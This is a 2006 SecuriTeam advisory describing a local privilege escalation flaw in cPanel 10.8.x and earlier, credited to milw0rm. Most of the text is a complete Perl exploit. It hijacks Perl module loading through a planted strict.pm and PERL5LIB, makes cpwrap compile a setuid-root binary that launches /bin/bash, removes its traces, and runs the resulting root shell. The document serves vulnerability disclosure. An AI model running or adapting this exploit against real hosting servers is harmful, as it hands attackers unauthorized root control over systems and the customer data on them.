[UNIX] cPanel Local Privilege Escalation
- From: SecuriTeam <support@xxxxxxxxxxxxxx>
- Date: 3 Oct 2006 12:04:19 +0200
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cPanel Local Privilege Escalation
------------------------------------------------------------------------
SUMMARY
" <http://www.cpanel.net/> cPanel is a hosting automation company driven
by techonology and dedicated to providing the most feature rich, easy to
use, practical applications. We are committed to the hosting community and
our continued role as a market leader."
A file execution precedence vulnerability in cPanel allows local privilege
escalation.
DETAILS
Vulnerable Systems:
* cPanel version 10.8.x and prior.
Exploit:
#!/usr/bin/perl -w
# 10/01/06 - cPanel <= 10.8.x cpwrap root exploit via mysqladmin
# use strict; # haha oh wait..
my $cpwrap = "/usr/local/cpanel/bin/cpwrap";
my $mysqlwrap = "/usr/local/cpanel/bin/mysqlwrap";
my $pwd = `pwd`;
chomp $pwd;
$ENV{'PERL5LIB'} = "$pwd";
if ( ! -x "/usr/bin/gcc" ) { die "gcc: $!\n"; }
if ( ! -x "$cpwrap" ) { die "$cpwrap: $!\n"; }
if ( ! -x "$mysqlwrap" ) { die "$mysqlwrap: $!\n"; }
open (CPWRAP, "<$cpwrap") or die "Could not open $cpwrap: $!\n";
while(<CPWRAP>) {
if(/REMOTE_USER/) { die "$cpwrap is patched.\n"; }
}
close (CPWRAP);
open (STRICT, ">strict.pm") or die "Can't open strict.pm: $!\n";
print STRICT "\$e = \"int
main(){setreuid(0,0);setregid(0,0);system(\\\\\\\"/bin/bash\\\\\\\");}\";\n";
print STRICT "system(\"/bin/echo -n \\\"\$e\\\">Maildir.c\");\n";
print STRICT "system(\"/usr/bin/gcc Maildir.c -o Maildir\");\n";
print STRICT "system(\"/bin/chmod 4755 Maildir\");\n";
print STRICT "system(\"/bin/rm -f Maildir.c strict.pm\");\n";
close (STRICT);
system("$mysqlwrap DUMPMYSQL 2>/dev/null");
if ( -e "Maildir" ) {
system("./Maildir");
}
else {
unlink "strict.pm";
die "Failed\n";
}
ADDITIONAL INFORMATION
The information has been provided by milw0rm.com.
The original article can be found at:
<http://www.milw0rm.com/exploits/2466>
http://www.milw0rm.com/exploits/2466
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